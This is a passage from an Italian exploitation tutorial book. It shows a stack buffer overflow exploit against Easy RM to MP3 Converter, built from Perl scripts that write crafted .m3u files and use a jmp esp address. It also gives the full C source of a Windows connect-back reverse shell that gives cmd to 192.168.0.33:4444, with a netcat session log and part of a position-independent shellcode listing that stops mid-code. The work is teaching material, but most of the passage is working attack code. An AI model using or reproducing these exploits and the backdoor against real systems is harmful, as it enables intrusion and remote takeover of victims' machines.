;ebx = absolute address of address table

mov eax, [ebx+4*ecx] ;get relative f. Off. from its ordinal and put in eax

add eax, ebp ;add base address.

;eax = absolute address of function address

mov [esp+0x1c], eax ;overwrite stack copy of eax so popad

;will return function address in eax

find_function_finished:

popad ;retrieve original registers.

;eax will contain function address

ret ;only needed if code was not used inline

Supponendo che il puntatore all’hash è stato inserito nello stack con push, possiamo utilizzare

il codice seguente per chiamare la procedura suddetta:

pop esi ;take pointer to hash from stack and put it in esi

lodsd ;load the hash itself into eax (pointed to by esi)

push eax ;push hash to stack

push edx ;push base address of dll to stack

call find_function

Quando find_function ritorna, l’indirizzo della funzione si troverà in EAX.

Abbiamo precedentemente detto, che per localizzare l’indirizzo di una funzione nel modo appena

visto, ci occorre il suo hash. La ricerca di questo può essere fatta a parte, non c’è bisogno di

inserire il codice necessario nell’exploit.

Un sorgente per il calcolo del valore hash è il seguente:

--------- GenerateHash.c ------------------------

//written by Rick2600 rick2600s[at]gmail{dot}com

//tweaked just a little by Peter Van Eeckhoutte

//http://www.corelan.be:8800

//This script will produce a hash for a given function name

//If no arguments are given, a list with some common function

Page 138: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 138 di 193

//names and their corresponding hashes will be displayed

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

long rol(long value, int n);

long ror(long value, int n);

long calculate_hash(char *function_name);

void banner();

int main(int argc, char *argv[])

{

banner();

if (argc < 2)

{

int i=0;

char *func[] =

{

"FatalAppExitA",

"LoadLibraryA",

"GetProcAddress",

"WriteFile",

"CloseHandle",

"Sleep",

"ReadFile",

"GetStdHandle",

"CreatePipe",

"SetHandleInformation",

"WinExec",

"ExitProcess",

0x0

};

printf("HASH\t\t\tFUNCTION\n----\t\t\t--------\n");

while ( *func )

{

printf("0x%X\t\t%s\n", calculate_hash(*func), *func);

i++;

*func = func[i];

}

}

else

{

char *manfunc[] = {argv[1]};

printf("HASH\t\t\tFUNCTION\n----\t\t\t--------\n");

printf("0x%X\t\t%s\n", calculate_hash(*manfunc), *manfunc);

}

return 0;

}

long

calculate_hash( char *function_name )

{

int aux = 0;

unsigned long hash = 0;

Page 139: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 139 di 193

while (*function_name)

{

hash = ror(hash, 13);

hash += *function_name;

*function_name++;

}

while ( hash > 0 )

{

aux = aux << 8;

aux += (hash & 0x00000FF);

hash = hash >> 8;

}

hash = aux;

return hash;

}

long rol(long value, int n)

{

__asm__ ("rol %%cl, %%eax"

: "=a" (value)

: "a" (value), "c" (n)

);

return value;

}

long ror(long value, int n)

{

__asm__ ("ror %%cl, %%eax"

: "=a" (value)

: "a" (value), "c" (n)

);

return value;

}

void banner()

{

printf("----------------------------------------------\n");

printf(" --==[ GenerateHash v1.0 ]==--\n");

printf(" written by rick2600 and Peter Van Eeckhoutte\n");

printf(" http://www.corelan.be:8800\n");

printf("----------------------------------------------\n");

}

--------- GenerateHash.c END ------------------------

Se non viene specificato argomento, l’output del programma è simile a questo:

----------------------------------------------

--==[ GenerateHash v1.0 ]==--

written by rick2600 and Peter Van Eeckhoutte

http://www.corelan.be:8800

Page 140: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 140 di 193

----------------------------------------------

HASH FUNCTION

---- --------

0x577F2962 FatalAppExitA

0x8E4E0EEC LoadLibraryA

0xAAFC0D7C GetProcAddress

0x1F790AE8 WriteFile

0xFB97FD0F CloseHandle

0xB0492DDB Sleep

0x1665FA10 ReadFile

0x23D88774 GetStdHandle

0x808F0C17 CreatePipe

0x44119E7F SetHandleInformation

0x98FE8A0E WinExec

0x7ED8E273 ExitProcess

Ora che abbiamo tutti gli elementi necessari, possiamo produrre una shellcode che funzioni in

modo indipendente.

Riepilogando, le cose che dobbiamo fare sono:

- Utilizzare l’algoritmo di skape per localizzare l’indirizzo di kernel32.

- Ricavare dalla tabella di esportazione di kernel32 gli indirizzi di cui abbiamo bisogno, ad

esempio LoadLibrary, ExitProcess, etc ... non siamo obbligati ad usare GetProcAddress.

- Caricare gli eventuali altri moduli che ci occorrono.

- A questo punto possiamo chiamare qualsiasi API che vogliamo utilizzare per il nostro shellcode

Queste erano le informazioni minime necessarie per comprendere come realizzare delle shellcode

base per windows.

0x16] (Arch: NT) – Stack based overflow exploit

Up

Vediamo ora come si tratta un vulnerabilità comune in ambiente windows. Il problema è del tipo

più comune “stack-based”.

Il programma che prendiamo in esame è “Easy RM to MP3 Converter” versione 2.7.3.700. Questo è

una utility per la conversione di file audio. Lo sfondamento del buffer si verifica quando si

tenta di aprire un file “.m3u” con all’interno 20000 – 30000 caratteri.

Il test;

creiamo un file m3u e lo riempiamo con una stringa lunga 100000 char. Ad esempio ‘A’*100000.

Con perl,

my $file= "crash.m3u";

my $junk= "A" x 100000;

open($FILE,">$file");

print $FILE $junk;

close($FILE);

print "Create crash file succesfully";

Lo apriamo con il programma tenendo quest’ultimo sotto controllo con un debugger, quale windbg o

Immunity dbg.

Page 141: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 141 di 193

Quando confermiamo, il programma carica il contenuto del file in memoria, il debugger si fermerà

su un avviso di “access violation”, dato che EIP punterà a 0x41414141, come sapete, significa

che l’indirizzo di ritorno della funzione è stato sovrascritto e l’esecuzione è saltata su una

locazione corrotta dal nostro file; come si vede dal debugger:

Se modifichiamo il nostro script perl in modo da utilizzare una stringa mista con ‘A’ e ‘B’,

andando per tentativi, è possibile scoprire l’esatto indirizzo al quale si trova il puntatore al

prossimo indirizzo di ritorno dalla funzione attuale.

Esistono poi alcuni strumenti all’interno del framework metasploit che possono tornare utili.

Per questo caso, uno è lo script pattern_create.rb l’altro pattern_offset.rb, vanno utilizzati

in coppia. Il primo genera un buffer con sequenze univoche. Ciò significa che sovrascrivendo

l’EIP salvato il debugger si fermerà su di un byte il quale fungerà da indice per stabilire la

distanza tra il buffer e l’EIP salvato. Questo compito è infatti risolto dal secondo script una

volta in possesso del valore sul quale il registro EIP si è fermato. Un esempio di uso può

essere il seguente:

C:\Programmi\Rapid7\framework\msf3\tools>pattern_create.rb 8000

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4A … [8000 byte]

Inserisco il buffer in uno script di questo tipo: (il numero 26000 è stato trovato andando per

tentativi, ovvero aumentando/diminuendo la lunghezza della stringa nel file, alla ricerca di una

misura critica che facesse crashare l’applicazione. Questi script sono utili in quanto ci

Page 142: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 142 di 193

evitano di aumentare la stringa un byte alla volta)

my $file= "crash.m3u";

my $junk= "Aa0Aa1A ...

my $pattern= "Put pattern here”;

open($FILE,">$file");

print $FILE $junk.$pattern;

close($FILE);

print "Create crash file succesfully";

Eseguo il programma caricando il mio file, prendo nota del valore trovato in EIP, lo coverto in

ASCII e utilizzo il secondo script come segue:

C:\Programmi\Rapid7\framework\msf3\tools>pattern_offset.rb A5dA 8000

105

Sul mio sistema windows XP SP3 Italiano, ho determinato dopo alcuni (noiosi) tentativi che la

distanza dal mio buffer all’indirizzo di ritorno è 26105 byte. Questa è il numero di byte minimi

necessari per sovrascrivere la locazione critica.

Allora il mio script può cambiare ancora in:

my $file= "crash.m3u";

my $junk= "A" x 26105;

my $eip= "\x00\x0f\xf7\x30"; # Buffer address

my $pattern= "C" x 1024;

open($FILE,">$file");

print $FILE $junk.$eip.$pattern;

close($FILE);

print "Create crash file succesfully";

Avete individuato il problema?

L’indirizzo che possiamo utilizzare per far saltare EIP sul buffer contiene un byte nullo. Non

possiamo utilizzarlo, in quanto la copia si arresterebbe a quel punto, lasciando indietro la

shellocode.

Occorre trovare un modo alternativo.

Se guardiamo bene nel debugger la finestra “Exutable modules”, notiamo che le DLL di sistema

vengono caricate sempre agli stessi indirizzi in memoria (siamo su XP sp3, non è così su sistemi

successivi).

Allora sfruttando il fatto che la shellcode risulterà puntata da ESP (si ricordi lo stato dei

registri; ESP puntava al buffer)

potremmo pensare di cercare in un modulo eseguibile l’istruzione (che sarà statica) “jmp esp”. E

utilizzare il suo indirizzo di memoria esente da byte nulli per sovrascrivere la locazione. Vari

strumenti ci possono aiutare nella ricerca, in primis windbg, il quale possiede la funzione

“ricerca” relativa a istruzioni o opcode. Oppure possiamo utilizzare vari script plugin per

Immunity debugger, uno di questi è ‘pvefindaddr’ di Peter Van Eeckhoutte.

Questi strumenti si trovano facilmente facendo una ricerca in internet.

Allora il mio script sarà:

my $file= "crash.m3u";

my $junk= "A" x 26105;

my $eip= "\x53\x93\x3a\x7e"; # Jmp from muodule to ESP

Page 143: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 143 di 193

my $int= “\x90\x90\x90\x90\x90\x90\x90\xcc”;

my $pattern= "C" x 1024;

open($FILE,">$file");

print $FILE $junk.$eip.$int.$pattern;

close($FILE);

print "Create crash file succesfully";

l’indirizzo 0x7e3a9353 punta ad una istruzione jmp verso il registro ESP in USER32.dll, che nel

mio caso, è caricata sempre allo stesso VA.

Eseguendo il programma con il file prodotto, mi aspetto che EIP si fermi sull’interrupt ‘INT3’

inserito dopo aver eseguito i NOP.

Infatti è proprio ciò che si verifica:

Ora ci basta sostituire la variabile ‘$int’ con un payload valido.

Nei precedenti capitoli abbiamo visto come costruire shellcode di attacco in ambiente Linux. Il

maggior risultato che è possibile ottenere in questo frangente, è il controllo del sistema.

Quindi riuscire ad installare in qualche maniera, una backdoor sull’host attaccato. Nel caso di

linux si trattava di eseguire una shell ‘/bin/sh’ direzionando i suoi stream standard su un

socket TCP appositamente creato.

Anche nel caso di windows le cose non cambiano di molto. L’unica differenza è che il codice

necessario, essendo windows più complesso, sarà notevolmente più lungo. Avremo perciò una

shellcode di molti byte.

Come abbiamo visto, per prima cosa è bene scrivere in C, il programma che abbiamo in mente, in

modo tale che ci aiuti a capire poi, come costruire il programma in linguaggio macchina.

Windows possiede due tipi di librerie socket. Noi andremo ad utilizzare la seconda versione. Il

codice si trova nella dll di sistema ‘ws2_32.dll’.

Prima di vedere il codice, dobbiamo chiarire le strade percorribili che vanno per la maggiore.

Sono essenzialmente due, a seconda dei casi l’una è preferibile all’altra e viceversa.

La decisione viene presa a seconda di come è impostato il firewall sul sistema obiettivo.

Un firewall può filtrare le connessioni dall’esterno verso l’interno, il contrario, oppure in

entrambi i sensi impedendo qualsiasi traffico su quella porta. In molti casi è necessario

impostare questi dispostivi in modo tale che accettino dati dall’esterno verso un certa porta

solo se la connessioni è stata iniziata da un pc locale. In questo caso quello he ci occorre è

una shell “connect-back”. Ciò significa che il codice, una volta eseguito si connetterà

dall’interno della rete in questione verso noi. In questo modo il firewall permetterà il

transito dei dati. Se invece ci sono porte accessibili, si può ricorrere alla più standard,

“port-binding” shell. Essa si mette in ascolto su una certa porta in attesa di una connessione.

Questa si presta meglio ad essere impostata come permanente, perché, come un server, può

dedicare un nuovo processo per ogni nuova connessione in arrivo. Ma non è comunque strettamente

Page 144: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 144 di 193

necessario. Questo lo abbiamo già visto nel caso di linux in uno dei capitoli precedenti.

Per non ripetere lo stesso esempio, vediamo come costruire la backdoor “connect-back” in C; nel

linguaggio di alto livello, è relativamente semplice da fare;

--------- ConnectBack.c ------------------------

/*

* Connect-back shell Windows XP pro 32 Bit SP3

* Connect back to port 4444

*/

#include <windows.h>

#include <winsock2.h>

/*

* Close socket and free resources

*/

void ClearAndExit(SOCKET sock)

{

if(sock != 0) {

closesocket(sock);

}

WSACleanup();

ExitProcess(0);

}

/*

* Program entry point

*/

int main(void)

{

// Network structures

WSADATA wsaData;

SOCKET Localsd;

struct sockaddr_in remote_attacker;

// Process structures

STARTUPINFOA ProcessProperties;

PROCESS_INFORMATION ProcessInfo;

// Init socket

WSAStartup(MAKEWORD(2,2),&wsaData);

if((Localsd = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,

(unsigned int)NULL, (unsigned int)NULL)) == INVALID_SOCKET) {

ClearAndExit(0);

}

// Fill sockaddr_in structure

remote_attacker.sin_family = AF_INET;

remote_attacker.sin_addr.s_addr = inet_addr("192.168.0.33");

remote_attacker.sin_port = htons(4444);

// Connect back to attacker

if(WSAConnect(Localsd, (struct sockaddr*)&remote_attacker,sizeof(remote_attacker),

NULL,NULL,NULL,NULL) == SOCKET_ERROR) {

ClearAndExit(Localsd);

}

// Prepare process

Page 145: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 145 di 193

ZeroMemory(&ProcessProperties,sizeof(ProcessProperties));

ProcessProperties.cb = sizeof(ProcessProperties);

ProcessProperties.dwFlags = STARTF_USESTDHANDLES;

// Std streams redirection

ProcessProperties.hStdInput = ProcessProperties.hStdOutput =

ProcessProperties.hStdError = (HANDLE)Localsd;

// Execute prompt

CreateProcessA(NULL,"cmd",NULL,NULL,1,0,NULL,NULL,&ProcessProperties,&ProcessInfo);

WaitForSingleObject(ProcessInfo.hProcess,INFINITE);

ClearAndExit(Localsd);

return 0;

}

--------- ConnectBack.c END ------------------------

Possiamo testare il programma utilizzando netcat e ponendolo in ascolto sulla porta 4444

otteniamo una back shell al momento dell’esecuzione del programma:

C:\env\nc11nt>nc -v -l -p 4444

listening on [any] 4444 ...

eseguiamo e ...

connect to [192.168.0.33] from wsxp [192.168.0.33] 7181

Microsoft Windows XP [Versione 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

C:\env\Backdoor_code\ConnectBack\bin\Debug>dir /w

dir /w

Il volume nell'unità C non ha etichetta.

Numero di serie del volume: 109B-E88D

Directory di C:\env\Backdoor_code\ConnectBack\bin\Debug

[.] [..] ConnectBack.exe

1 File 30.892 byte

2 Directory 16.934.092.800 byte disponibili

C:\env\Backdoor_code\ConnectBack\bin\Debug>exit

Una volta che abbiamo verificato che il programma non ha errori, possiamo analizzare il codice

macchina generato in modo da sapere come configurare la shellcode, cerco di descrivere le

operazioni con dei commenti:

// [1] La seguente è la funzione per la chiusura del socket e il rilascio delle risorse

allocate.

PUSH EBP ;

MOV EBP,ESP ;

SUB ESP,18 ;

CMP DWORD PTR SS:[EBP+8],0 ; Se il socket != 0

JE SHORT ConnectB.00401332 ; Salta a WSACLEANUP

MOV EAX,DWORD PTR SS:[EBP+8] ; altrimenti sposta in EAX il socket

MOV DWORD PTR SS:[ESP],EAX ; -> __in SOCKET sock

CALL <JMP.&WS2_32.closesocket> ; closesocket()

SUB ESP,4 ; Incremento per la chiamata

Page 146: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 146 di 193

CALL <JMP.&WS2_32.WSACleanup> ; WSACleanup()

MOV DWORD PTR SS:[ESP],0 ; Sposta 0, il valore di ritorno, nello stack

CALL <JMP.&KERNEL32.ExitProcess>; ExitProcess()

LEA ECX,DWORD PTR SS:[ESP+4] ;

AND ESP,FFFFFFF0 ;

PUSH DWORD PTR DS:[ECX-4] ;

Questo è l’entry point del programma

PUSH EBP ;

MOV EBP,ESP ;

PUSH ECX ;

SUB ESP,234 ; Alloca memoria per le variabili locali

CALL ConnectB.00401950 ; MACRO [non riporto il codice]

LEA EAX,DWORD PTR SS:[EBP-19C] ; Viene recuperato l’oggetto WSADATA

MOV DWORD PTR SS:[ESP+4],EAX ; -> __out LPWSADATA lpWSAData

MOV DWORD PTR SS:[ESP],202 ; -> __in WORD wVersionRequested

CALL <JMP.&WS2_32.WSAStartup> ; WSAStartup()

SUB ESP,8 ; Allocazione per gli argomenti di WSASocket

MOV DWORD PTR SS:[ESP+14],0 ; -> __in DWORD dwFlags MOV DWORD PTR SS:[ESP+10],0 ; -> __in GROUP g

MOV DWORD PTR SS:[ESP+C],0 ; -> __in LPWSAPROTOCOL_INFO lpProtocolInfo

MOV DWORD PTR SS:[ESP+8],6 ; -> __in int protocol

MOV DWORD PTR SS:[ESP+4],1 ; -> __in int type

MOV DWORD PTR SS:[ESP],2 ; -> __in int af

CALL <JMP.&WS2_32.WSASocketA> ; WSASocketA()

SUB ESP,18 ; Allocazione per la chiamata a funzione

MOV DWORD PTR SS:[EBP-C],EAX ; Viene salvato il socket in [EBP-C]

CMP DWORD PTR SS:[EBP-C],-1 ; Qui viene controllato il valore di ritorno

JNZ SHORT ConnectB.004013C1 ; Se non è errore salta la routine seguente

MOV DWORD PTR SS:[ESP],0 ; Altrimenti va alla routine di errore

CALL ConnectB.00401318 ; qui

Prosegue con la preparazione della struttura sockaddr_in

MOV WORD PTR SS:[EBP-1AC],2 ; Famiglia IPv4

MOV DWORD PTR SS:[ESP],ConnectB.00403024 ; ASCII "192.168.0.33" allocata staticamente

CALL <JMP.&WS2_32.inet_addr> ; inet_addr()

SUB ESP,4 ; Allocazione per la prossima chiamata a funzione

MOV DWORD PTR SS:[EBP-1A8],EAX ; Indirizzo ritornato convertito

MOV DWORD PTR SS:[ESP],115C ; Numero di porta

CALL <JMP.&WS2_32.htons> ; htons()

SUB ESP,4 ; Altri 4 byte per la prossima chiamata

MOV WORD PTR SS:[EBP-1AA],AX ; Sposto il numero di porta convertito

LEA EAX,DWORD PTR SS:[EBP-1AC] ; Ora sposto il puntatore all’intera struttura in EAX

MOV DWORD PTR SS:[ESP+18],0 ; -> __in LPQOS lpGQOS

MOV DWORD PTR SS:[ESP+14],0 ; -> __in LPQOS lpSQOS

MOV DWORD PTR SS:[ESP+10],0 ; -> __out LPWSABUF lpCalleeData

MOV DWORD PTR SS:[ESP+C],0 ; -> __in LPWSABUF lpCalleeData

MOV DWORD PTR SS:[ESP+8],10 ; -> __in int namelen

MOV DWORD PTR SS:[ESP+4],EAX ; -> __const struct sockaddr *name

MOV EAX,DWORD PTR SS:[EBP-C] ; viene recuperate il socket dalla posizione salvata

MOV DWORD PTR SS:[ESP],EAX ; -> __SOCKET s

CALL <JMP.&WS2_32.WSAConnect> ; WSAConnect()

SUB ESP,1C ; Alloco memoria per la prossima chiamata

Page 147: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 147 di 193

CMP EAX,-1 ; Controlla il valore di ritorno di Connect

JNZ SHORT ConnectB.00401445 ; Se non c’è errore, salta alla routine successiva

MOV EAX,DWORD PTR SS:[EBP-C] ; altrimenti passa il socket

MOV DWORD PTR SS:[ESP],EAX ;

CALL ConnectB.00401318 ; alla routine di chiusura

Qui viene azzerata la struttura PROCESS_INFORMATION

MOV DWORD PTR SS:[ESP+8],44 ; La dimensione di STARTUPINFO

MOV DWORD PTR SS:[ESP+4],0 ; Valore di azzeramento

LEA EAX,DWORD PTR SS:[EBP-1F0] ; Viene recuperato il puntatore

MOV DWORD PTR SS:[ESP],EAX ; Il primo argomento di memset

CALL <JMP.&msvcrt.memset> ; memset()

Questa parte si occupa di preparare la struttura STARTUPINFO e di chiamare CreateProcess().

La struttura STARTUPINFO:

typedef struct _STARTUPINFO {

DWORD cb;

LPTSTR lpReserved;

LPTSTR lpDesktop;

LPTSTR lpTitle;

DWORD dwX;

DWORD dwY;

DWORD dwXSize;

DWORD dwYSize;

DWORD dwXCountChars;

DWORD dwYCountChars;

DWORD dwFillAttribute;

DWORD dwFlags;

WORD wShowWindow;

WORD cbReserved2;

LPBYTE lpReserved2;

HANDLE hStdInput;

HANDLE hStdOutput;

HANDLE hStdError;

} STARTUPINFO, *LPSTARTUPINFO;

Mentre la struttura PROCESS_INFORMATION è la seguente:

typedef struct _PROCESS_INFORMATION {

HANDLE hProcess;

HANDLE hThread;

DWORD dwProcessId;

DWORD dwThreadId;

} PROCESS_INFORMATION, *LPPROCESS_INFORMATION;

MOV DWORD PTR SS:[EBP-1F0],44 ; DWORD cb - Dimensione della struttura stessa

MOV DWORD PTR SS:[EBP-1C4],100 ; DWORD dwFlags – flag STARTF_USESTDHANDLES

MOV EAX,DWORD PTR SS:[EBP-C] ; Socket in EAX

MOV DWORD PTR SS:[EBP-1B0],EAX ; HANDLE hStdInput – Standard input per il nuovo processo

MOV EAX,DWORD PTR SS:[EBP-1B0] ; Il socket viene rispostato in EAX

MOV DWORD PTR SS:[EBP-1B4],EAX ; HANDLE hStdOutput – Standard output

MOV EAX,DWORD PTR SS:[EBP-1B4] ; Socket in EAX

MOV DWORD PTR SS:[EBP-1B8],EAX ; HNALDE hStdError – Standard error

LEA EAX,DWORD PTR SS:[EBP-200] ; L’indirizzo della struttura PROCESS_INFORMATION è

Page 148: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 148 di 193

MOV DWORD PTR SS:[ESP+24],EAX ; l’ultimo argomento della per CreateProcess

; -> __out LPPROCESS_INFOMRATION lpProcessInformation

LEA EAX,DWORD PTR SS:[EBP-1F0] ; L’indirizzo della struttura STARTUPINFO in EAX

MOV DWORD PTR SS:[ESP+20],EAX ; -> __in LPSTARTUPINFO lpStartupInfo

MOV DWORD PTR SS:[ESP+1C],0 ; -> __in_opt LPCTSTR lpCurrentDirectory

MOV DWORD PTR SS:[ESP+18],0 ; -> __in_opt LPVOID lpEnvironment

MOV DWORD PTR SS:[ESP+14],0 ; -> __in DWORD dwCreationFlags

MOV DWORD PTR SS:[ESP+10],1 ; -> __in BOOL bInheritHandles

MOV DWORD PTR SS:[ESP+C],0 ; -> __in_opt LPSECURITY_ATTRIBUTES lpThreadAttributes

MOV DWORD PTR SS:[ESP+8],0 ; -> __in_opt LPSECURITY_ATTRIBUTES lpProcessAttributes

MOV DWORD PTR SS:[ESP+4],ConnectB.004030> ; -> __inout_opt LPTSTR lpCommandLine (“cmd”)

MOV DWORD PTR SS:[ESP],0 ; -> __in_opt LPCTSTR lpApplicationName

CALL <JMP.&KERNEL32.CreateProcessA> ; CreateProcessA()

SUB ESP,28 ;

MOV EAX,DWORD PTR SS:[EBP-200] ; Indirizzo di PROCESS_INFOMRATION in EAX

MOV DWORD PTR SS:[ESP+4],-1 ; -> __in DWORD dwMilliseconds (Infinito)

MOV DWORD PTR SS:[ESP],EAX ; -> __in DWORD hHandle

CALL <JMP.&KERNEL32.WaitForSingleObject> ; WaitForSingleObject()

SUB ESP,8 ;

MOV EAX,DWORD PTR SS:[EBP-C] ; Socket in EAX

MOV DWORD PTR SS:[ESP],EAX ; Socket

CALL ConnectB.00401318 ; Viene chiamata la routine per la chiusura [1]

MOV EAX,0 ;

MOV ECX,DWORD PTR SS:[EBP-4] ;

LEAVE ;

LEA ESP,DWORD PTR DS:[ECX-4] ;

RETN ;

Spero di aver commentato il codice generato dal compilatore in modo esauriente. Se avete notato,

ci sono più occasioni dove tale codice può essere ottimizzato.

Dunque ora serve recuperare le cose che abbiamo detto in precedenza ed unire le conoscenze per

scrivere il codice assembly completo.

Ricordiamoci che occorrerà trovare i moduli che ci occorrono, caricarli e risolvere gli hash

delle funzioni.

Procediamo con il listato assembly, commento nuovamente ogni riga, in inglese, essendo il

sorgente. Lo troverete piuttosto lungo rispetto ai precedenti.

--------- ConnectBack.asm ------------------------

[section .text]

[BITS 32]

; ==============================================================================

;

; Connect Back Windows XP professional 32 bit working on SP 1,2,3.

; Matteo Tosato 2011

;

; ==============================================================================

global _main

_main:

jmp startup_bnc ; jump to main, skip find_kernel32 and find_function

; ==============================================================================

; ==================== find_kernel32 function ==================================

; Finding kernel32.dll address base

find_kernel32: ; [6]

push esi ; Save register

xor eax, eax ; Set EAX to 0

Page 149: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 149 di 193

mov eax, [fs:eax + 0x30]; Save address of BEP process struct in EAX

mov eax, [eax + 0x0c] ; Extract the pointer to the PEB_LDR_DATA

mov esi, [eax + 0x1c] ; Extract the first entry in the initialization order module list

lodsd ; Grab the next entry in the list with points to kernel32.dll

mov eax, [eax + 0x8] ; Grab the module base address and store it in EAX

pop esi ; Restore ESI register to initial value

ret ; Return to caller

; Kernel32.dll base address is in EAX

; ==============================================================================

; ==============================================================================

; ==================== find_function ===========================================

; Resolving API symbol

find_function: ; [8] (At this point hash function and kernel32 b. address is on the top of the stack)

pushad ; Save all register

mov ebp, [esp + 0x24] ; Store the base address of module that is being loaded from EBP

mov eax, [ebp + 0x3c] ; Skip the DOS header

mov edx, [ebp + eax + 0x78] ; The export table is 0x78 bytes from the start of the PE header.

; Extract it and store the relative address in EDX

add edx, ebp ; Make the export table address absolute by adding the base address to it

mov ecx, [edx + 0x18] ; Extract the number of exported items and store it in ECX which will be used as the counter

mov ebx, [edx + 0x20] ; Extract the names table relative offset and store it in EBX

add ebx, ebp ; Make the names table address absolute by adding the base address to it

find_function_loop:

; If ECX is zero then the last symbol has been checked and as such jump to the end of the function.

; If this condition is ever true then the requested symbol was not resolved properly

jecxz find_function_finished

dec ecx ; Decrement the counter

mov esi, [ebx + ecx * 4]; Extract relative offset of the name associated with the current symbol and store it in ESI

add esi, ebp ; Make the address of the symbol name absolute by adding the base address to it

compute_hash:

xor edi, edi ; Zero EDI it will hold the hash value for the current symbols function name

xor eax, eax ; Zero EAX in order to ensure that high order bytes are zero as this will hold the value

; of each character as it walks the symbols name.

cld ; Clear the direction flag to ensure that is increments instead of decrements

; when using the lods instructions.

compute_hash_again: ; (loop until symbols are solved at all)

lodsb ; Load the byte at esi, the current symbol name, into al and increment ESI.

test al, al ; Bitwise test al with itself to see if the end of the string has been reached

; If SF is set the end of the string has been reached. Jump to the end of the hash calculation.

jz compute_hash_finished

ror edi, 0xd ; Rotate the current value of the hash 13 bits to the right

add edi, eax ; Add the current character of the symbol name

jmp compute_hash_again ; Continue looping through the symbol name

compute_hash_finished:

find_function_compare:

cmp edi, [esp + 0x28] ; Check to see if the computed hash matches the requested hash

; If the hashes do not match, continue enumerating the exported symbol list.

; Otherwise, drop down and extract the VMA of the symbol

jnz find_function_loop

mov ebx, [edx + 0x24] ; Extract the ordinals table relative offset and store it in EBX

add ebx, ebp ; Make the ordinals table address absolute by adding the base address to it

mov cx, [ebx + 2 * ecx] ; Extract the current symbols ordinal number form the ordinal table.

; Ordinals are two bytes in size.

mov ebx, [edx + 0x1c] ; Extract the address table relative offset and store it in EBX

add ebx, ebp ; Make the address table absolute by adding the base address to it

mov eax, [ebx + 4 * ecx]; Extract the relative function offset from its ordinal and store it in EAX

add eax, ebp ; Make the function's address absolute by adding the base address to it

mov [esp + 0x1c], eax ; Overwrite the stack copy of the preserved EAX register so that

; when popad is finished the appropriate return value will be set

find_function_finished:

popad ; Restore all-purpose registers

ret ; Return to the caller

; ==============================================================================

; ==============================================================================

Page 150: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 150 di 193

; ==================== MAIN ====================================================

startup_bnc: ; [1]

jmp startup ; jump to startup

resolve_symbols_for_dll: ; [7]

lodsd ; Load the current function hash stored at ESI into EAX

; [lodsd = 'mov eax, esi; add esi, 4']

push eax ; Push the hash to the stack as the second argument to find_function

push edx ; Push the base address of the DLL being loaded from as the first argument

call find_function ; Resolve symbol

mov [edi], eax ; Save the VMA of te function in the memory location at EDI

add esp, 0x08 ; Restore 8 bytes to the stack for the two arguments

add edi, 0x04 ; Add 4 to EDI to move to the next position in the array that will hold the output VMA's

cmp esi, ecx ; Check to see if ESI matches with the boundary for stopping symbol lookup

; If the two address are not equal, continue the loop. Otherwise, fall through to the ret

jne resolve_symbols_for_dll ; loop

resolve_symbols_for_dll_finished:

ret ; Return to the caller

kernel32_symbol_hashes:

; LoadLibraryA hash

db 0x8e

db 0x4e

db 0x0e

db 0xec

; CreateProcessA hash

db 0x72

db 0xfe

db 0xb3

db 0x16

; ExitProcess hash

db 0x7e

db 0xd8

db 0xe2

db 0x73

ws2_32_symbol_hashes:

; WSASocketA hash

db 0xd9

db 0x09

db 0xf5

db 0xad

; WSAConnect hash

db 0x0c

db 0xba

db 0x2d

db 0xb3

; WSAStartup hash

db 0xcb

db 0xed

db 0xfc

db 0x3b

startup: ; [2]

sub esp, 0x60 ; Allocate 0x60 bytes of space for the use with storing function ptr VMA's

mov ebp, esp ; Use EBP as the frame pointer throughout the code

jmp get_absolute_address_forward ; Jump forward past the middle

get_absolute_address_middle: ; [4]

jmp get_absolute_address_end ; Jump to the end now that the return address has been obtained

get_absolute_address_forward: ; [3]

call get_absolute_address_middle ; Call backwards to push the VMA that points to 'pop esi' into the stack

get_absolute_address_end: ; [5]

;-> trick, POP the absolute address of 'pop esi' instruction in ESI register <-

pop esi ; Pop the return address of the stack into ESI

call find_kernel32 ; Resolve the base address of kernel32.dll by what-ever means

mov edx, eax ; Save the base address of kernel32.dll in EDX

resolve_kernel32_symbols: ; EDX now hold the base address of kernel32.dll

sub esi, 0x26 ; Subtract 0x26 from ESI to point to first entry in the hash table list above.

; This parameter will be used as the source address for resolve_symbols_for_dll.

lea edi, [ebp+0x04] ; Set EDI to the frame pointer plus 0x04.

Page 151: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 151 di 193

; This address will be used to store the VMA's of the corresponding hashes

mov ecx, esi ; Set ECX to ESI

add ecx, 0x0c ; Add 0x0c to ECX to indicate that the stop boundary is 12 bytes past ESI.

